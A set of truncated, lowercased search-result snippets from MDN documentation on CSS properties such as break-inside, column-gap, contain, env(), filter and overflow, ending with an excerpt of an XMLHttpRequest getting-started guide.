...therefore the aliasing is to page, rather than the always value in the level 4 spec. ...
...evel 1the definition of 'break-before' in that specification. working draft extends the property to handle region breaks. adds the avoid-region and region keywords. css multi-column layout modulethe definition of 'break-before' in that specification. working draft initial definition. extends the css 2.1 page-break-before property to handle both page and column breaks. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. support in multi-column layout desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung ...
break-inside - CSS: Cascading Style Sheets
avoid avoids any break (page, column, or region) from being inserted within the principal box. avoid-page avoids any page break within the principal box. avoid-column avoids any column break within the principal box. avoid-region avoids any region break within the principal box. page break aliases for compatibility reasons, the legacy page-break-inside property should be treated by browsers as an alias of break-inside. this ensures that sites using page-break-inside continue to work as designed. a subset of values should be aliased as follows: page-break-inside break-inside auto auto avoid avoid formal definition initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal synta...
... 3the definition of 'break-inside' in that specification. candidate recommendation no change. css regions module level 1the definition of 'break-inside' in that specification. working draft extends the property to handle region breaks. css multi-column layout modulethe definition of 'break-inside' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupported in multi-colum...
... no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future. notes on compatibility prior to firefox 65, the older property of page-break-inside will work in firefox to prevent breaks in columns, as well as pages. add both properties for backwards compatibility. for older webkit-based browsers, the prefixed property -webkit-column-break-inside can be used to control column breaks. ...
caption-side - CSS: Cascading Style Sheets
cifications specification status comment css logical properties and values level 1the definition of 'caption-side' in that specification. editor's draft defines the top and bottom values as relative to the writing-mode value. css level 2 (revision 1)the definition of 'caption-side' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcaption-sidechrome ...
... ...
... ...
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
d send us a pull request. initially a part of multi-column layout, the definition of column-gap has been broadened to include multiple layout methods. now specified in box alignment, it may be used in multi-column, flexible box, and grid layouts. css grid layout initially defined the grid-column-gap property. this prefixed property is being replaced by column-gap. however, in order to support browsers that implemented grid-column-gap and not column-gap for grid, you will need to use the prefixed property. syntax /* keyword value */ column-gap: normal; /* <length> values */ column-gap: 3px; column-gap: 2.5em; /* <percentage> value */ column-gap: 3%; /* global values */ column-gap: inherit; column-gap: initial; column-gap: unset; the column-gap property is specified as one of the valu...
...not column-gap for grid, you will need to use the prefixed property. syntax /* keyword value */ column-gap: normal; /* <length> values */ column-gap: 3px; column-gap: 2.5em; /* <percentage> value */ column-gap: 3%; /* global values */ column-gap: inherit; column-gap: initial; column-gap: unset; the column-gap property is specified as one of the values listed below. values normal the browser's default spacing is used between columns. for multi-column layout this is specified as 1em. for all other layout types it is 0. <length> the size of the gap between columns, defined as a <length>. the <length> property's value must be non-negative. <percentage> the size of the gap between columns, defined as a <percentage>. the <percentage> property's value must be non-negative. formal de...
... don't you think that's fun and exciting? i sure do! </p> css .content-box { column-count: 3; column-gap: 40px; } result ...
contain - CSS: Cascading Style Sheets
Web › CSS › contain
this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to prevent each widget's internals from having side effects outside of the widget's bounding-box. ...
...layout and vice versa. style indicates that, for properties that can have effects on more than just an element and its descendants, those effects don't escape the containing element. note that this value is marked "at-risk" in the spec and may not be supported everywhere. paint indicates that descendants of the element don't display outside its bounds. if the containing box is offscreen, the browser does not need to paint its contained elements — these must also be offscreen as they are contained completely by that box. and if a descendant overflows the containing element's bounds, then that descendant will be clipped to the containing element's border-box. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal synt...
...graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; } as you can see, because of the way floats work, the first image ends up inside the area of the second article: fixing with contain if we give each article the contain property with a value of content, when new elements are inserted the browser understands it only needs to recalculate the containing element's subtree, and not anything outside it: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> <img src="i-just-showed-up.jpg" alt="social"> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { fl...
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
can i start to use the two-value syntax? as demonstrated abo...
...ne flex inline grid so all of the current situations are neatly covered, meaning that we maintain compatibility of existing and new sites that use the single values, while allowing the spec to evolve. ...
...her browsers do not yet implement the two-value versions. therefore display: block flex will only get you flex layout in firefox, and will be ignored as invalid in chrome. you can see current support in the compat data for the two-value syntax: the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmulti-keyword values experimentalchrome no support noedge no support nofirefox full support ...
env() - CSS: Cascading Style Sheets
Web › CSS › env
can be used to insert the value of a user agent-defined environment variable into your css, in a similar fashion to the var() function and custom properties. the difference is that, as well as being user-agent defined rather than user-defined, environment variables are globally scoped to a document, whereas custom properties are scoped to the element(s) on which they are declared. ...
...env(safe-area-inset-bottom, 20px) env(safe-area-inset-left, 20px); } in addition, unlike custom properties, which cannot be used outside of declarations, the env() function can be used in place of any part of a property value, or any part of a descriptor (e.g. in media query rules). as the spec evolves, it may also be usable in other places such as selectors. originally provided by the ios browser to allow developers to place their content in a safe area of the viewport, the safe-area-inset-* values defined in the specification can be used to help ensure content is visible even to viewers using non‑rectangular displays. syntax /* using the four safe area inset values with no fallback values */ env(safe-area-inset-top); env(safe-area-inset-right); env(safe-area-inset-bottom); env(safe...
...ible. note: unlike other css properties, user agent-defined property names are case-sensitive. formal syntax env( <custom-ident> , <declaration-value>? ) examples the below example makes use of the optional second parameter of env(), which allows you to provide a fallback value in case the environment variable is not available. <p> if the <code>env()</code> function is supported in your browser, this paragraph’s text will have 50px of padding between it and the left border — but not the top, right and bottom. this is because the accompanying css is the equivalent of <code>padding: 0 0 0 50px</code>, because, unlike other css properties, user agent property names are case-sensitive. </p> p { width: 300px; border: 2px solid red; padding: env(safe-area-inset-top,...
filter - CSS: Cascading Style Sheets
Web › CSS › filter
ge. a drop shadow is effectively a blurred, offset version of the input image's alpha mask drawn in a particular color, composited below the image. the function accepts a parameter of type <shadow> (defined in css3 backgrounds), with the exception that the inset keyword is not allowed. this function is similar to the more established box-shadow property; the difference is that with filters, some browsers provide hardware acceleration for better performance. the parameters of the <shadow> parameter are as follows: <offset-x> <offset-y> (required) these are two <length> values to set the shadow offset. <offset-x> specifies the horizontal distance. negative values place the shadow to the left of the element. <offset-y> specifies the vertical distance. negative values place the shadow above th...
...s> and/or <spread-radius> is set). <blur-radius> (optional) this is a third <length> value. the larger this value, the bigger the blur, so the shadow becomes bigger and lighter. negative values are not allowed. if not specified, it will be 0 (the shadow's edge is sharp). <color> (optional) see <color> values for possible keywords and notations. if not specified, the color used depends on the browser - it is usually the value of the <color> property, but note that safari currently paints a transparent shadow in this case. filter: drop-shadow(16px 16px 10px black) <svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg"> <filter id="drop-shadow"> <fegaussianblur in="sourcealpha" stddeviation="[radius]"/> <feoffset dx="[offset-x]" dy="[offset-y]" result="...
...proportion of the conversion. a value of 0% is completely transparent. a value of 100% leaves the input unchanged. values between 0% and 100% are linear multipliers on the effect. this is equivalent to multiplying the input image samples by amount. the lacuna value for interpolation is 1. this function is similar to the more established opacity property; the difference is that with filters, some browsers provide hardware acceleration for better performance. filter: opacity(50%) <table class="standard-table"> <thead> <tr> <th style="text-align: left;" scope="col">original image</th> <th style="text-align: left;" scope="col">live example</th> <th style="text-align: left;" scope="col">svg equivalent</th> <th style="text-align: left;" scope="col">static example</th...
font-optical-sizing - CSS: Cascading Style Sheets
github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword values */ font-optical-sizing: none; font-optical-sizing: auto; /* default */ /* global values */ font-optical-sizing: inherit; font-optical-sizing: initial; font-optical-sizing: unset; values none the browser will not modify the shape of glyphs for optimal viewing. auto the browser will modify the shape of glyphs for optimal viewing. description optical sizing is enabled by default for fonts that have an optical size variation axis. the optical size variation axis is represented by opsz in font-variation-settings. when optical sizing is used, small text sizes are often rendered with thicker st...
...more delicately with more contrast between thicker and thinner strokes. formal definition initial valueautoapplies toall elements. it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none examples disabling optical sizing <p class="optical-sizing">this paragraph is optically sized. ...
...ments. it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none examples disabling optical sizing <p class="optical-sizing">this paragraph is optically sized. this is the default across browsers.</p> <p class="no-optical-sizing">this paragraph is not optically sized. you should see a difference in supporting browsers.</p> @font-face { src: url('amstelvaralpha-vf.ttf'); font-family:'amstelvar'; font-style: normal; } p { font-size: 36px; font-family: amstelvar; } .no-optical-sizing { font-optical-sizing: none; } note: the font referenced above — which includes optical sizing and is freely-licensed — is good for testing. you can download it on github. specifications spec...
font-stretch - CSS: Cascading Style Sheets
fication, the property accepts only the nine keyword values. css fonts level 4 extends the syntax to accept a <percentage> value as well. this enables variable fonts to offer something more like a continuum of character widths. for truetype or opentype variable fonts, the "wdth" variation is used to implement varying widths. however, note that the <percentage> syntax is not yet supported by all browsers: check the browser compatibility table for details. keyword to numeric mapping the table below shows the mapping between keyword values and numeric percentages: keyword percentage ultra-condensed 50% extra-condensed 62.5% condensed 75% semi-condensed 87.5% normal 100% semi-expanded 112.5% expand...
... html <div class="container"> <p class="condensed">an elephantine lizard</p> <p class="normal">an elephantine lizard</p> <p class="expanded">an elephantine lizard</p> </div> css /* this example uses the league mono variable font, developed by tyler finck (https://www.tylerfinck.com/) and used here under the terms of the sil open font license, v...
...it was brought back in css 3. ...
image() - CSS: Cascading Style Sheets
el:160,120,320,240 /* results in a 320x240 image at x=160 and y=120 */ xywh=percent:25,25,50,50 /* results in a 50%x50% image at x=25% and y=25% */ the image fragments can be used in url() notation as well. the #xywh=#,#,#,# media fragment syntax is 'backwards compatible' in that a media fragment will be ignored if not understood, and won't break the source call when used with url(). if the browser doesn't understand the media fragments notation, it simply ignores the fragment, displaying the entire image. browsers that understand image() also understand the fragment notation. therefore, if the fragment is not understood within image(), the image will be considered invalid. color fallback if a color is specified in image() along with your image sources, it acts as a fallback if the ima...
...ges, this can be used to put (generally semi-transparent) colors over other images. the size of the color swatch can be set with the background-size property. this is different from the background-color, which sets a color to cover the entire element. both image(color) and background-color placements are impacted by the background-clip and background-origin properties. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. if the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document. mdn understanding wca...
.... what cursor do you see?</div> .box:hover { cursor: image("https://mdn.mozillademos.org/files/16411/sprite.png#xywh=32,64,16,16"); } when the user hovers over the box, the cursor will change to display the 16x16 px section of the sprite image, starting at x=32 and y=64. providing fallback images .help::before { content: image("try.webp", "try.svg", "try.gif"); } in this example, the browser will display an image as generated content before the content of the element with the class of help. the image displayed will be a webp image, if webp is supported. if not, the svg example will be shown. if svg is not supported, the gif version will display. putting color on top of a background image .quarterlogo {height: 200px; width: 200px; border: 1px solid;} .quarterlogo { backgr...
margin - CSS: Cascading Style Sheets
Web › CSS › margin
e specified, the first margin applies to the top, the second to the right and left, the third to the bottom. when four values are specified, the margins apply to the top, right, bottom, and left in that order (clockwise). values <length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the browser selects a suitable margin to use. for example, in certain cases this value can be used to center an element. formal syntax [ <length> | <percentage> | auto ]{1,4} examples simple example html <div class="center">this element is centered.</div> <div class="outside">this element is positioned outside of its container.</div> css .center { margin: auto; background: lime; width: 66%;...
...in order to center an element inside its parent, use margin: 0 auto;. margin collapsing elements' top and bottom margins are sometimes collapsed into a single margin that is equal to the larger of the two margins. see mastering margin...
... auto; /* top and bottom: 2em margin */ /* box is horizontally centered */ margin: auto; /* top and bottom: 0 margin */ /* box is horizontally centered */ notes horizontal centering to center something horizontally in modern browsers, you can use display: flex; justify-content: center; . however, in older browsers like ie8-9 that do not support flexible box layout, these are not available. in order to center an element inside its parent, use margin: 0 auto;. margin collapsing elements' top and bottom margins are sometimes collapsed into a single margin that is equal to the larger of the two margins. see mastering margin collapsing for more information. specifications specification status...
max-width - CSS: Cascading Style Sheets
Web › CSS › max-width
* <percentage> value */ max-width: 75%; /* keyword values */ max-width: none; max-width: max-content; max-width: min-content; max-width: fit-content(20em); /* global values */ max-width: inherit; max-width: initial; max-width: unset; values <length> defines the max-width as an absolute value. <percentage> defines the max-width as a percentage of the containing block's width. auto the browser will calculate and select a max-width for the specified element. none no limit on the size of the box. max-content the intrinsic preferred max-width. min-content the intrinsic minimum max-width. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, argument)). accessibility conc...
...ment)). accessibility concerns ensure that elements set with a max-width are not truncated and/or do not obscure other content when the page is zoomed to increase text size. ...
...sizing module level 4the definition of 'max-width' in that specification. editor's draft css box sizing module level 3the definition of 'max-width' in that specification. working draft adds the max-content, min-content, fit-content keywords. css level 2 (revision 1)the definition of 'max-width' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-widthchrome ...
min-width - CSS: Cascading Style Sheets
Web › CSS › min-width
-width: 3.5em; /* <percentage> value */ min-width: 10%; /* keyword values */ min-width: max-content; min-width: min-content; min-width: fit-content(20em); /* global values */ min-width: inherit; min-width: initial; min-width: unset; values <length> defines the min-width as an absolute value. <percentage> defines the min-width as a percentage of the containing block's width. auto the browser will calculate and select a min-width for the specified element. none no limit on the size of the box. max-content the intrinsic preferred min-width. min-content the intrinsic minimum min-width. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, argument)). formal definition ...
...it on the size of the box. max-content the intrinsic preferred min-width. min-content the intrinsic minimum min-width. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, argument)). ...
...cation. working draft adds the max-content, min-content, fit-content keywords. css flexible box layout modulethe definition of 'min-width' in that specification. candidate recommendation adds the auto keyword and uses it as the initial value. css level 2 (revision 1)the definition of 'min-width' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmin-widthchrome ...
outline-color - CSS: Cascading Style Sheets
-color: blue; /* keyword value */ outline-color: invert; /* global values */ outline-color: inherit; outline-color: initial; outline-color: unset; the outline-color property is specified as any one of the values listed below. values <color> the color of the outline, specified as a <color>. invert to ensure the outline is visible, performs a color inversion of the background. note that browsers are not required to support this value; if they don't, this keyword is considered invalid. description an outline is a line that is drawn around an element, outside the border. unlike the element's border, the outline is drawn outside the element's frame, and may overlap other content. the border, on the other hand, will actually alter the page's layout to ensure that it fits without overla...
...tent accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. large text is defined as 18.66px and bold or larger, or 24px or larger. webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valueinvert, for browsers supporting it, currentcolor for the otherapplies toall elementsinheritednocomputed valuefor the keyword invert, the computed value is invert. for the color value, if the value is translucent, the computed value will be the rgba() corresponding one. if it isn't, it will be the rgb() corresponding one. the transparent keyword maps to rgba(0,0,0,0).animation typea color formal syntax <color> | ...
... /* make the outline blue */ margin: 5px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-color' in that specification. recommendation no change. css level 2 (revision 1)the definition of 'outline-color' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoutline-colorchrome ...
overflow-block - CSS: Cascading Style Sheets
s specified as a single keyword chosen from the list of values below. values visible content is not clipped and may be rendered outside the padding box's block start and block end edges. hidden content is clipped if necessary to fit the block dimension in the padding box. no scrollbars are provided. scroll content is clipped if necessary to fit in the block dimension in the padding box. ...
...ension in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valueautoapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples ...
...sum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-block:auto</code> — on most browser, equivalent to <code>scroll</code> <div id="div4"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. ...
overflow-inline - CSS: Cascading Style Sheets
y is specified as a single keyword chosen from the list of values below. values visible content is not clipped and may be rendered outside the padding box's inline start and end edges. hidden content is clipped if necessary to fit the inline dimension in the padding box. no scrollbars are provided. scroll content is clipped if necessary to fit in the padding box in the inline dimension. ...
...x in the inline dimension. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valueautoapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples ...
...ode>overflow-inline:scroll</code> — always adds a scrollbar <div id="div2"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> <li><code>overflow-inline:visible</code> — displays the text outside the box if needed <div id="div3"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> <li><code>overflow-inline:auto</code> — on most browsers, equivalent to <code>scroll</code> <div id="div4"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-inline: hidden;} #div2 { overflow-inline: scroll;} #div3 { overflow-inline: visible;} #div4 { overflow-inline: auto;} result spec...
overflow-x - CSS: Cascading Style Sheets
element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a new formatting context. if you wish to start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit horizontally in the padding box. ...
...ntally in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valuevisibleapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto exampl...
...</li> <li><code>overflow-x:scroll</code> — always adds a scrollbar <div id="div2"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> <li><code>overflow-x:visible</code> — displays the text outside the box if needed <div id="div3"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> <li><code>overflow-x:auto</code> — on most browsers, equivalent to <code>scroll</code> <div id="div4"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-x: hidden;} #div2 { overflow-x: scroll;} #div3 { overflow-x: visible;} #div4 { overflow-x: auto;} result specifications ...
overflow-y - CSS: Cascading Style Sheets
he element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a new formatting context. if you wish to start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit vertically in the padding box. ...
...ically in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valuevisibleapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto example...
...m ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-y:auto</code> — on most browser, equivalent to <code>scroll</code> <div id="div4"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. ...
overflow - CSS: Cascading Style Sheets
Web › CSS › overflow
s clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a new formatting context. if you wish to start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit the padding box. ...
... mozilla extensions -moz-scrollbars-none [1] use overflow: hidden instead. ...
... mozilla extensions -moz-scrollbars-none [1] use overflow: hidden instead. -moz-scrollbars-horizontal [1] use overflow-x: scroll and overflow-y: hidden, or overflow: hidden scroll instead. ...
revert - CSS: Cascading Style Sheets
Web › CSS › revert
sed in a user's custom stylesheet, or if the style was applied by the user (the user origin), revert rolls back the cascaded value to the user agent's default style. if used within the user agent's default styles, this keyword is functionally equivalent to unset. the revert keyword works exactly the same as unset in many cases. the only difference is for properties that have values set by the browser or by custom stylesheets created by users (set on the browser side). revert will not affect rules applied to children of an element you reset (but will remove effects of a parent rule on a child). so if you have a color: green for all sections and all: revert on a specific section the color of the section will be black. but if you have a rule to make all paragraphs red then all paragraphs will...
... examples revert vs unset although revert and unset are similar they differ for some properties for some elements. so in the below example, we set custom font-weight in a global stylesheet, but then try to unset and revert. unset will keep the text normal because this is an initial value for font-weight property. revert will revert to bold because this is a default value for headers in most browsers. h3 { font-weight: normal; color: blue; } <h3 style="font-weight: unset; color: unset;">this will still have font-weight: normal, but color: black</h3> <p>just some text</p> <h3 style="font-weight: revert; color: revert;">this should have its original font-weight (bold) and color: black</h3> <p>just some text</p> revert all reverting all values is useful when you did heavy modificati...
...ful when you did heavy modifications for something and then want to revert to defaults. so to iterate on above example instead of reverting font-weight and color separately you could just revert all of them. h3 { font-weight: normal; color: blue; border-bottom: 1px solid grey; } <h3>this will have custom styles</h3> <p>just some text</p> <h3 style="all: revert">this should be reverted to browser/user defaults</h3> <p>just some text</p> revert on a parent reverting effectively removes the value for the element you select with some rule and only for that element. to illustrate this we will set a green color on a section and red color on a paragraph. section { color: darkgreen } p { color: red } section.with-revert { color: revert } <section> <h3>this will be dark green</h3> <p...
row-gap (grid-row-gap) - CSS: Cascading Style Sheets
Web › CSS › row-gap
the row-gap css property sets the size of the gap (gutter) between an element's grid rows. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. css grid layout initially defined the grid-row-gap property. this prefixed property is being replaced by row-gap. however, in order to support browsers that implemented grid-row-gap and not row-gap for grid, you will need to use the prefixed property as in the interactive example above. syntax /* <length> values */ row-gap: 20px; row-gap: 1em; row-gap: 3vmin; row-gap: 0.5cm; /* <percentage> value */ row-gap: 10%; /* global values */ row-gap: inherit; row-gap: initial; row-g...
...grid-row-gap and not row-gap for grid, you will need to use the prefixed property as in the interactive example above. syntax /* <length> values */ row-gap: 20px; row-gap: 1em; row-gap: 3vmin; row-gap: 0.5cm; /* <percentage> value */ row-gap: 10%; /* global values */ row-gap: inherit; row-gap: initial; row-gap: unset; values <length-percentage> is the width of the gutter separating the rows. <percentage> values are relative to the dimension of the element. formal definition initial valuenormalapplies tomulti-column elements, flex containers, grid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typea length, percentage ...
... working draft initial definition ...
text-overflow - CSS: Cascading Style Sheets
assed a <length> or a <percentage> to control the fade distance a <string>. values clip the default for this property. this keyword value will truncate the text at the limit of the content area, therefore the truncation can happen in the middle of a character. to clip at the transition between characters you can specify text-overflow as an empty string, if that is supported in your target browsers: text-overflow: '';. ellipsis this keyword value will display an ellipsis ('…', u+2026 horizontal ellipsis) to represent clipped text. the ellipsis is displayed inside the content area, decreasing the amount of text displayed. if there is not enough space to display the ellipsis, it is clipped. <string> the <string> to be used to represent clipped text. the string is displayed inside t...
...llipsis | <string> ]{1,2} examples css p { width: 200px; border: 1px solid; padding: 2px 5px; /* both of the following are required for text-overflow */ white-space: nowrap; overflow: hidden; } .overflow-visible { white-space: initial; } .overflow-clip { text-overflow: clip; } .overflow-ellipsis { text-overflow: ellipsis; } .overflow-string { /* not supported in most browsers, see the 'browser compatibility' section below */ text-overflow: " [..]"; } html <p class="overflow-visible">lorem ipsum dolor sit amet, consectetur adipisicing elit.</p> <p class="overflow-clip">lorem ipsum dolor sit amet, consectetur adipisicing elit.</p> <p class="overflow-ellipsis">lorem ipsum dolor sit amet, consectetur adipisicing elit.</p> <p class="overflow-string">lorem ipsu...
... ...
visibility - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. to both hide an element and remove it from the document layout, set the display property to none instead of using visibility. ...
...visibility property is specified as one of the keyword values listed below. values visible the element box is visible. hidden the element box is invisible (not drawn), but still affects layout as normal. descendants of the element will be visible if they have visibility set to visible. the element cannot receive focus (such as when navigating through tab indexes). collapse for <table> rows, columns, column groups, and row groups, the row(s) or column(s) are hidden and the space they would have occupied is removed (as if display: none were applied to the column/row of the table). however, the size of other rows and columns is still calculated as though the cells in the collapsed row(s) or column(s) are present. this value allows for the fast removal of a row or column from a table w...
... value is interpolated as a discrete step, where values of the timing function between 0 and 1 map to visible and other values of the timing function (which occur only at the start/end of the transition or as a result of cubic-bezier() functions with y values outside of [0, 1]) map to the closer endpoint. notes support for visibility: collapse is missing or partially incorrect in some modern browsers. it may not be correctly treated like visibility: hidden on elements other than table rows and columns. visibility: collapse may change the layout of a table if the table has nested tables within the cells that are collapsed, unless visibility: visible is specified explicitly on nested tables. formal definition initial valuevisibleapplies toall elementsinheritedyescomputed valueas specifie...
Getting Started - Developer guides
hout reloading the page receive and work with data from the server step 1 – how to make an http request in order to make an http request to the server with javascript, you need an instance of an object with the necessary functionality. this is where xmlhttprequest comes in. its predecessor originated in internet explorer as an activex object called xmlhttp. then, mozilla, safari, and other browsers followed, implementing an xmlhttprequest object that supported the methods and properties of microsoft's original activex object. meanwhile, microsoft implemented xmlhttprequest as well. // old compatibility code, no longer needed. if (window.xmlhttprequest) { // mozilla, safari, ie7+ ... httprequest = new xmlhttprequest(); } else if (window.activexobject) { // ie 6 and older httprequ...
...ally make the request, by calling the open() and send() methods of the http request object, like this: httprequest.open('get', 'http://www.example.org/some.file', true); httprequest.send(); the first parameter of the call to open() is the http request method – get, post, head, or another method supported by your server. keep the method all-capitals as per the http standard, otherwise some browsers (like firefox) might not process the request. for more information on the possible http request methods, check the w3c specs. the second parameter is the url you're sending the request to. as a security feature, you cannot call urls on 3rd-party domains by default. be sure to use the exact domain name on all of your pages or you will get a "permission denied" error when you call open(). a com...
